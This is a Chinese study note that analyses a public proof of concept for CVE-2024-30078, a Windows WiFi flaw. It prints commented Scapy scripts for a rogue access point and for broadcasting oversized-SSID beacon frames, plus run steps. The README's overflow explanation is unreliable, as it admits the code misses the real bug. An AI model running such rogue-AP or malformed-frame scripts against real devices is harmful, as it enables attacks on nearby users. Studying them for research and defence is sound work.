【学习记录】CVE_2024_30078_POC_WIFI

文章目录

  • 漏洞介绍
  • POC分析


免责声明
此代码仅供教育目的提供。作者不对因滥用此脚本造成的任何损害负责。请负责任地使用,并仅在您有明确许可执行此类测试的环境中使用。

项目地址:https://github.com/blkph0x/CVE_2024_30078_POC_WIFI

漏洞介绍

CVE-2024-30078 Exploit 是一个用于揭示并利用Windows操作系统中WiFi处理机制严重安全漏洞的开源项目。这个漏洞(CVE-2024-30078)与服务集标识符(SSID)的不当处理有关,可能导致系统级别的缓冲区溢出,从而为攻击者提供执行任意代码或使系统崩溃的可能性。

POC分析

README.md(汉化版)

### CVE-2024-30078:
# 更新4
长期逾期的更新,但是...我们遇到了一个崩溃!更多内容敬请期待。
# 更新3
我们设法让Windows与我们的流氓接入点(AP)关联,并能够发送所需的dot11数据帧来进入我们正在研究的函数。我们将把大部分开发工作转移到一个私有仓库,直到我们让它可靠工作,然后我们将与公共仓库合并。请随时在问题页面上添加您遇到的任何问题、想法或发现,我也可能设置一个讨论页面。(我会)将在大约AEST时间晚上9点再次更新。# 更新2
我添加了两个文件以协助调试CVE。# 更新1
### 问题
在逆向工程这个CVE时,我发现可能有两种利用方法:1. 攻击者可能能够在认证到网络时发送一个精心制作的包,这更困难,需要更多的移动部件。2. 简单的方式是识别探针,对设备使用的探针做出有根据的猜测,这不需要认证,构建一个使用开放网络探针细节的流氓AP(可能需要一些猜测),然后等待设备自动加入并发送构建的帧以到达受影响的代码路径(这就是我现在的工作)。在加入一个开放网络时,AP发送多个帧,这些帧到达受影响的代码块(但不是带有期望的标志),我们可以构建帧以包括期望的标志,以到达已经被修补或在这种情况下未修补的代码,以尝试识别利用点。我们现在似乎有足够的信息来实现这一点。只需要构建它并运行一些测试用例,同时进行内核调试。# 信息
这个REPO似乎没有击中与声明的CVE相同的漏洞,感谢FarmPoet提供的新信息,CVE-2024-30078漏洞在Dot11Translate80211ToEthernetNdisPacket()的Windows原生WiFi驱动程序(nwifi.sys)中,并且需要构建一个非常特定的帧才能到达可利用的代码路径(这个代码没有)。# 我正在工作
我已经确定了函数中的更改,并且现在正在逆向工程以构建所需的相关帧。# CVE-2024-30078 漏洞利用
## 概述# 解释
## 代码如何工作
### 导入和初始化:
脚本从Scapy和系统模块导入必要的模块。
### SSID分块:
create_wifi_packet函数将提供的SSID拆分成每个255字节的块(每个块允许的最大长度)。
### 帧创建:
对于每个块,创建一个WiFi信标帧。
### 帧包括:
Dot11头,用于指定帧类型和地址。
Dot11Beacon,表示一个信标帧。
Dot11Elt,用于嵌入SSID块。
### 发送帧:
使用sendp函数发送每个帧,具有特定的接口、计数、间隔和详细程度参数。
### 错误处理:
脚本在发送包时检查权限错误和其他异常。缓冲区溢出机制 Windows处理SSID最多512字节,这超出了WiFi标准。通过发送超过此限制的SSID块,可以触发Windows WiFi处理子系统的缓冲区溢出。这种溢出可能允许攻击者执行任意代码或导致系统崩溃。## 潜在问题和考虑事项### 根权限:
脚本需要根权限才能发送包。确保您使用sudo运行脚本。
### 接口可用性:
脚本假设无线接口是wlan0。如果您的接口有不同的名称,请进行调整。
### 权限和依赖错误:
确保Scapy及其依赖项已正确安装。处理访问网络接口的权限。
### 法律和道德含义:
在未经授权的网络上使用此脚本利用漏洞是非法和不道德的。仅用于授权的安全测试和研究目的。免责声明
此代码仅供教育目的提供。作者不对因滥用此脚本造成的任何损害负责。请负责任地使用,并仅在您有明确许可执行此类测试的环境中使用。

文件解释:

  1. README.md:

    • 提供了关于CVE-2024-30078漏洞的更新和信息。
    • 描述了可能的利用方法,包括发送特制的数据包和构造一个流氓接入点(Rogue AP)。
    • 提供了关于代码工作原理的概述,包括导入和初始化、SSID分块、帧创建、发送帧和错误处理。
  2. dot11.py:

    • 这个Python脚本使用Scapy库创建一个带有LLC(Logical Link Control)和VLAN标签的802.11数据帧。
    • 可以用于构造特定的数据包,可能用于触发缓冲区溢出或其他漏洞。
  3. AP_Test.py:

    • 这个脚本模拟一个WiFi接入点,发送信标帧和响应探针请求和关联请求。
    • 可以用来测试设备对特定信标帧的反应,或者在构造利用时模拟目标网络环境。
  4. wifibeacon.py:

    • 此脚本创建并发送包含SSID块的WiFi信标帧。
    • 通过将SSID拆分成多个块并发送,可以用于测试Windows WiFi处理子系统对超长SSID的处理方式。

如何利用这些PoC:

在提供的Python脚本中,每个脚本都有其特定的目的,但并非所有脚本都直接用于测试CVE-2024-30078漏洞。以下是每个脚本的简要概述以及它们可能如何用于测试:

  1. dot11.py:

    • 这个脚本创建一个带有LLC和VLAN标签的802.11数据帧。它可能被用来构造特定的数据包,这些数据包可以用于触发缓冲区溢出或其他漏洞。如果你想测试特定的数据包构造,可以运行这个脚本。
  2. AP_Test.py:

    • 这个脚本模拟一个WiFi接入点,发送信标帧和响应探针请求和关联请求。如果你想测试设备对特定信标帧的反应,或者在构造利用时模拟目标网络环境,可以运行这个脚本。
  3. wifibeacon.py:

    • 这个脚本创建并发送包含SSID块的WiFi信标帧。它可能用于测试Windows WiFi处理子系统对超长SSID的处理方式。如果你想测试SSID长度对系统的影响,可以运行这个脚本。

如何选择运行哪个脚本:

  • 测试特定数据包构造:如果你的目标是测试特定的数据包构造,比如带有VLAN标签的数据包,那么应该运行dot11.py
  • 模拟WiFi接入点:如果你想模拟一个WiFi接入点来测试设备的反应,或者在构造利用时模拟目标网络环境,那么应该运行AP_Test.py
  • 测试SSID长度影响:如果你想测试SSID长度对WiFi系统的影响,特别是超长SSID,那么应该运行wifibeacon.py

运行步骤:

  1. 确保你有足够的权限(可能需要root权限)来运行这些脚本。
  2. 确保所有依赖项(如Scapy库)都已安装并更新到最新版本。
  3. 根据需要修改脚本中的参数,比如SSID、BSSID、MAC地址等。
  4. 在控制台或终端中运行脚本,可以使用命令例如:
    python3 dot11.py
    python3 AP_Test.py
    python3 wifibeacon.py "YourSSIDHere"
    
  5. 观察输出和目标系统的反应,以确定脚本是否按预期工作。

代码注释

dot11.py

# 导入Scapy库中需要的功能
from scapy.all import RadioTap, Dot11, LLC, SNAP, Dot1Q, sendp# 定义一个函数,用于创建带有LLC和VLAN标签的802.11帧
def create_80211_frame_with_llc_vlan(bssid, dst_mac, src_mac, vlan_id, payload):# 创建一个802.11数据帧,类型为2,子类型为0dot11 = Dot11(type=2, subtype=0, addr1=dst_mac, addr2=src_mac, addr3=bssid)# 创建逻辑链路控制(LLC)头部,dsap和ssap都设置为0xaa,表示SNAP协议llc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)# 创建SNAP头部,OUI设置为广播地址,code设置为VLAN标签的以太类型snap = SNAP(OUI=b'\x00\x00\x00', code=0x8100)# 创建VLAN标签,设置VLAN IDvlan = Dot1Q(vlan=vlan_id)# 构建完整的帧,包括RadioTap头、Dot11帧、LLC、SNAP、VLAN标签和有效载荷frame = RadioTap() / dot11 / llc / snap / vlan / payloadreturn frame# 定义一个函数,用于发送802.11帧
def send_80211_frame(frame, iface='wlan0mon'):# 发送帧,指定接口,不打印详细信息sendp(frame, iface=iface, verbose=False)print("802.11 frame with LLC and VLAN tag sent")# 脚本的主入口点
if __name__ == "__main__":# 示例参数,这些参数可能需要根据实际情况进行修改bssid = '00:11:22:33:44:66'  # 接入点的BSSIDdst_mac = 'ff:ff:ff:ff:ff:ff'  # 目的MAC地址(广播)src_mac = '00:11:22:33:44:55'  # 源MAC地址(你的设备)vlan_id = 100  # VLAN IDpayload = b'Hello, this is a test payload.'  # 有效载荷# 创建帧frame = create_80211_frame_with_llc_vlan(bssid, dst_mac, src_mac, vlan_id, payload)# 发送帧send_80211_frame(frame)

AP_Test.py

# 导入Scapy库的所有功能
from scapy.all import *
# 导入Scapy库中与802.11协议相关的层
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Beacon, Dot11Elt, Dot11AssoReq, Dot11AssoResp, Dot11ProbeReq
# 导入time模块,用于生成时间戳
import time# 设置要伪造的SSID
SSID = "TestAP"
# 设置监听的网络接口
interface = "wlan0mon"
# 设置伪造的AP的MAC地址
bssid = "0C:27:CB:48:52:FC"
# 设置信道号
channel = 6# 定义自定义的供应商特定属性(Vendor Specific Attribute, VSA)
custom_vsa = b'\xdd\x07\x00\x50\xf2\x02\x01\x01'# 定义全局序列号,用于802.11帧
seq_num = 0# 定义一个函数,用于获取下一个序列号
def get_sequence_number():global seq_numseq_num = (seq_num + 1) % 4096  # 序列号是12位的(0-4095)return seq_num# 定义一个函数,用于创建信标帧
def create_beacon(ssid, bssid, channel):seq = get_sequence_number()# 构建信标帧beacon = RadioTap() / \Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=seq << 4) / \Dot11Beacon(timestamp=int(time.time()), beacon_interval=0x0064, cap=0x2104) / \Dot11Elt(ID=0, info=ssid) / \# 以下为支持的速率、DS参数集、ERP信息元素等Dot11Elt(ID=1, info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24') / \Dot11Elt(ID=3, info=chr(channel).encode()) / \Dot11Elt(ID=5, info=b'\x00\x01\x00\x00') / \Dot11Elt(ID=7, info=b'\x07\x52\x55\x53\x00\x00') / \Dot11Elt(ID=50, info=b'\x30\x48\x60\x6c') / \Dot11Elt(ID=42, info=b'\x00') / \# 以下为HT操作信息元素和VSADot11Elt(ID=61, info=chr(channel).encode() + b'\x01\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') / \Dot11Elt(ID=221, info=custom_vsa)return beacon# 定义一个函数,用于创建探针响应帧
def create_probe_response(bssid, src_mac):# 构建探针响应帧probe_response = RadioTap() / \# 类似于信标帧的构建,但type和subtype不同Dot11(type=0, subtype=5, addr1=src_mac, addr2=bssid, addr3=bssid) / \Dot11Beacon(timestamp=int(time.time()), beacon_interval=0x0064, cap=0x2104) / \Dot11Elt(ID=0, info=SSID) / \Dot11Elt(ID=1, info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24') / \Dot11Elt(ID=3, info=chr(channel).encode()) / \Dot11Elt(ID=7, info=b'\x07\x52\x55\x53\x00\x00') / \Dot11Elt(ID=50, info=b'\x30\x48\x60\x6c') / \Dot11Elt(ID=42, info=b'\x00') / \Dot11Elt(ID=61, info=chr(channel).encode() + b'\x01\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') / \Dot11Elt(ID=221, info=custom_vsa)return probe_response# 定义一个函数,用于创建关联响应帧
def create_assoc_response(bssid, src_mac):# 构建关联响应帧assoc_response = RadioTap() / \# 类似于信标帧的构建,但type和subtype不同Dot11(type=0, subtype=1, addr1=src_mac, addr2=bssid, addr3=bssid) / \Dot11AssoResp(cap=0x2104, AID=1, status=0) / \Dot11Elt(ID=1, info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24') / \Dot11Elt(ID=50, info=b'\x30\x48\x60\x6c') / \Dot11Elt(ID=3, info=chr(channel).encode()) / \Dot11Elt(ID=7, info=b'\x07\x52\x55\x53\x00\x00') / \Dot11Elt(ID=42, info=b'\x00') / \Dot11Elt(ID=61, info=chr(channel).encode() + b'\x01\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') / \Dot11Elt(ID=221, info=custom_vsa)return assoc_response# 定义一个函数,用于在指定接口上发送信标
def send_beacon(interface):while True:beacon = create_beacon(SSID, bssid, channel)sendp(beacon, iface=interface, verbose=False)  # 发送信标time.sleep(0.1024)  # 每102.4毫秒发送一次信标# 定义一个函数,用于处理捕获的数据包
def packet_handler(packet):if packet.haslayer(Dot11ProbeReq):  # 如果数据包是探针请求print(f"Probe request from {packet.addr2}")probe_response = create_probe_response(bssid, packet.addr2)sendp(probe_response, iface=interface, verbose=False)  # 发送探针响应print(f"Probe response sent to {packet.addr2}")elif packet.haslayer(Dot11AssoReq) and packet.addr1 == bssid:  # 如果数据包是关联请求print(f"Association request from {packet.addr2}")assoc_response = create_assoc_response(bssid, packet.addr2)sendp(assoc_response, iface=interface, verbose=False)  # 发送关联响应print("Association response sent")# 程序的主入口
if __name__ == "__main__":# 在单独的线程中开始发送信标import threadingbeacon_thread = threading.Thread(target=send_beacon, args=(interface,))beacon_thread.daemon = True  # 设置为守护线程,以便主程序退出时该线程也会退出beacon_thread.start()# 开始监听指定接口上的探针和关联请求sniff(iface=interface, prn=packet_handler)

wifibeacon.py

# 导入Scapy库中的所有功能以及sys模块
from scapy.all import *
import sys# 定义一个函数,用于创建和发送Wi-Fi beacon帧
def create_wifi_packet(ssid):# 定义SSID的最大长度MAX_SSID_LENGTH = 255# 将SSID分割成多个部分,每个部分不超过MAX_SSID_LENGTH长度ssid_chunks = [ssid[i:i+MAX_SSID_LENGTH] for i in range(0, len(ssid), MAX_SSID_LENGTH)]# 遍历SSID的各个部分,并对每个部分发送一个beacon帧for index, chunk in enumerate(ssid_chunks):# 创建一个Dot11帧,类型为管理帧,子类型为beacon帧dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=f'01:00:00:00:01:{index:02x}', addr3=f'02:00:00:00:01:{index:02x}')# 添加beacon帧的内容beacon = Dot11Beacon()# 添加SSID元素,其中包含SSID的当前部分essid = Dot11Elt(ID='SSID', info=chunk, len=len(chunk))# 创建完整的帧,包括RadioTap头、Dot11帧、beacon信息和SSID元素frame = RadioTap()/dot11/beacon/essid# 打印当前发送的SSID部分信息print(f"Sending Beacon frame with SSID chunk {index+1}/{len(ssid_chunks)} of length: {len(chunk)}")try:# 尝试发送帧,指定接口为wlan0,发送100次,每次间隔0.1秒sendp(frame, iface='wlan0', count=100, inter=0.1, verbose=1)except PermissionError:# 如果没有root权限,打印错误信息并退出函数print("Error: You need root privileges to send packets.")returnexcept Exception as e:# 打印其他错误信息print(f"An error occurred: {e}")return# 脚本的主入口点
if __name__ == "__main__":# 检查命令行参数的数量是否正确if len(sys.argv) != 2:print("Usage: sudo python wifibeacon.py <SSID>")sys.exit(1)# 从命令行参数获取SSIDssid = sys.argv[1]# 调用函数发送SSID的beacon帧create_wifi_packet(ssid)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/366933.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RK3568平台(USB篇)USB HID设备

一.USB HID设备简介 USB HID设备主要用于和计算机进行交互通信&#xff0c;典型的USB HID类设备包括USB键盘、USB鼠标、USB游戏手柄等等&#xff0c;这些都是日常生活中常见的设备。以USB接口的鼠标为例&#xff0c;打开计算机的“设备管理器”&#xff0c;可以在“鼠标和其他…

设计高并发秒杀系统:保障稳定性与数据一致性

✨✨谢谢大家捧场&#xff0c;祝屏幕前的小伙伴们每天都有好运相伴左右&#xff0c;一定要天天开心哦&#xff01;✨✨ &#x1f388;&#x1f388;作者主页&#xff1a; 喔的嘛呀&#x1f388;&#x1f388; 目录 引言 一. 系统架构设计 1. 系统架构图 二、 系统流程 三…

简单实现Anaconda/Miniforge虚拟环境的克隆和迁移

简单实现Anaconda/Miniforge虚拟环境的克隆和迁移 一、问题描述一、方式一&#xff1a;使用命令克隆二、方式二&#xff1a;直接复制粘贴 欢迎学习交流&#xff01; 邮箱&#xff1a; z…1…6.com 网站&#xff1a; https://zephyrhours.github.io/ 一、问题描述 使用Anaconda…

昇思25天学习打卡营第7天|Pix2Pix实现图像转换

文章目录 昇思MindSpore应用实践基于MindSpore的Pix2Pix图像转换1、Pix2Pix 概述2、U-Net架构定义UNet Skip Connection Block 2、生成器部分3、基于PatchGAN的判别器4、Pix2Pix的生成器和判别器初始化5、模型训练6、模型推理 Reference 昇思MindSpore应用实践 本系列文章主要…

无忧易售升级:产品视频翻译支持,拓宽全球市场边界

在电商内容营销迈入视频时代的今天&#xff0c;无忧易售ERP推出针对OZON、Wish、TikTok、Wildberries&#xff08;野莓&#xff09;四大平台的产品视频翻译功能&#xff0c;彻底打破语言壁垒&#xff0c;让全球卖家的商品故事&#xff0c;以更生动、更直观的方式&#xff0c;触…

Linux指定文件权限的两种方式-符号与八进制数方式示例

一、指定文件权限可用的两种方式&#xff1a; 对于八进制数指定的方式&#xff0c;文件权限字符代表的有效位设为‘1’&#xff0c;即“rw-”、“rw-”、“r--”&#xff0c;以二进制表示为“110”、“110”、“100”&#xff0c;再转换为八进制6、6、4&#xff0c;所以777代表…

如何寻找一个领域的顶级会议,并且判断这个会议的影响力?

如何寻找一个领域的顶级会议&#xff0c;并且判断这个会议的影响力&#xff1f; 会议之眼 快讯 很多同学都在问&#xff1a;学术会议不是期刊&#xff0c;即使被SCI检索&#xff0c;也无法查询影响因子。那么如何知道各个领域的顶级会议&#xff0c;并对各个会议有初步了解呢…

Redis主从复制、哨兵以及Cluster集群

目录 1.Redis高可用 2.Redis主从复制 2.1 主从复制的作用 2.2 主从复制流程 2.3 搭建Redis 主从复制 ​3.Redis哨兵模式 3.1 哨兵模式概述 3.2 哨兵模式的作用 3.3 故障转移机制 ​3.4 主节点的选举 3.5 搭建Redis哨兵模式 4. Redis 群集模式 4.1 Redis集群的数据分…

VS2022+Qt+OpenCV Debug模式下,循环中格式转换引起的内存异常问题 debug_heap.cpp

文章目录 前言一、问题二、报错1.提示图片2.提示堆栈3.反汇编位置 三、解决办法总结 前言 最近在使用VS2022&#xff0c;C&#xff0c;OpenCV&#xff0c;Qt开发时&#xff0c;遇到了一个疑难杂症-在循环中执行字符串格式转换会触发内存异常&#xff0c;经过痛苦的排查过程&am…

python自动化运维--DNS处理模块dnspython

1.dnspython介绍 dnspython是Pyhton实现的一个DNS工具包&#xff0c;他几乎支持所有的记录类型&#xff0c;可以用于查询、传输并动态更新ZONE信息&#xff0c;同事支持TSIG&#xff08;事物签名&#xff09;验证消息和EDNS0&#xff08;扩展DNS&#xff09;。在系统管理方面&a…

从零开始实现大语言模型(二):文本数据处理

1. 前言 神经网络不能直接处理自然语言文本&#xff0c;文本数据处理的核心是做tokenization&#xff0c;将自然语言文本分割成一系列tokens。 本文介绍tokenization的基本原理&#xff0c;OpenAI的GPT系列大语言模型使用的tokenization方法——字节对编码(BPE, byte pair en…

认识一下HttpMessageHandler处理管道

[S1208]HttpClient的默认管道结构 接下来我们通过如下的演示程序使用IHttpClientFactory工厂创建了 一个HttpClient对象&#xff0c;并查看其管道依次由哪些类型的HttpMessageHandler对象组成。如代码片段所示&#xff0c;我们定义了一个辅助方法PrintPipeline方法以递归的形式…

C++ ariac2 Windows库编译

cd "F:\\aria2" gmp-6.1.2.tar.lz expat-2.2.0.tar.bz2 sqlite-autoconf-3160200.tar.gz zlib-1.2.11.tar.gz c-ares-1.12.0.tar.gz libssh2-1.8.0.tar.gz --enable-libaria2 --enable-static libgnutls-dev&#xff08;对于HTTPS&#xff0c;BitTorrent&#xff0…

vue+js实现鼠标右键页面时在鼠标位置出现弹窗

首先是弹窗元素 <div class"tanchuang move-win1"id"tanchuang1"><el-button>111</el-button></div>然后在需要弹窗的地方监听点击事件&#xff0c;可以将这个方法写在页面载入事件中 // 获取弹窗元素 var tanchuang document.…

【开发篇】明明配置跨域声明,为什么却仍可以发送HTTP请求

一、问题 在SpringBoot项目中&#xff0c;明确指定仅允许指定网站跨域访问&#xff1a; 为什么开发人员却仍旧可以通过HTTP工具调用接口&#xff1f; 二、为什么 在回答这个问题之前&#xff0c;我们首先要了解一下什么是CORS&#xff01; 1、什么是CORS CORS的全称为跨域资源…

springcloud-config服务器,同样的配置在linux环境下不生效

原本在windows下能争取的获取远程配置但是部署到linux上死活都没有内容&#xff0c;然后开始了远程调试&#xff0c;这里顺带讲解下获取配置文件如果使用的是Git源&#xff0c;config service是如何响应接口并返回配置信息的。先说问题&#xff0c;我的服务名原本是abc-abc-abc…

文生图功能介绍

Stable Diffusion WebUI&#xff08;SD WebUI&#xff09;及文生图功能介绍 一、引言 随着人工智能技术的飞速发展&#xff0c;AI绘画作为一种新兴的艺术形式&#xff0c;逐渐走入人们的视野。Stable Diffusion WebUI&#xff08;简称SD WebUI&#xff09;作为AI绘画领域的重…

Rust: polars行遍历,从dataframe到struct及Bar设计比较

pandas提供了iterrows()、itertuples()、apply等行遍历的方式&#xff0c;还是比较方便的。 polars的列操作功能非常强大&#xff0c;这个在其官网上有详细的介绍。由于polars底层的arrow是列存储模式&#xff0c;行操作效率低下&#xff0c;官方也不推荐以行方式进行数据操作。…

通过shell脚本创建MySQl数据库

通过shell脚本创建数据库 #!/bin/bashserverIP10.1.1.196 SERVER_NAMEecho $serverIP | cut -d . -f4cat<<EOF>db.sql drop database if exists ${SERVER_NAME}_scheduler; drop database if exists ${SERVER_NAME}_kms; drop database if exists ${SERVER_NAME}_uim…

修改CentOS7 yum源

修改CentOS默认yum源为阿里镜像源 备份系统自带yum源配置文件 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 下载ailiyun的yum源配置文件 CentOS7 yum源如下&#xff1a; wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun…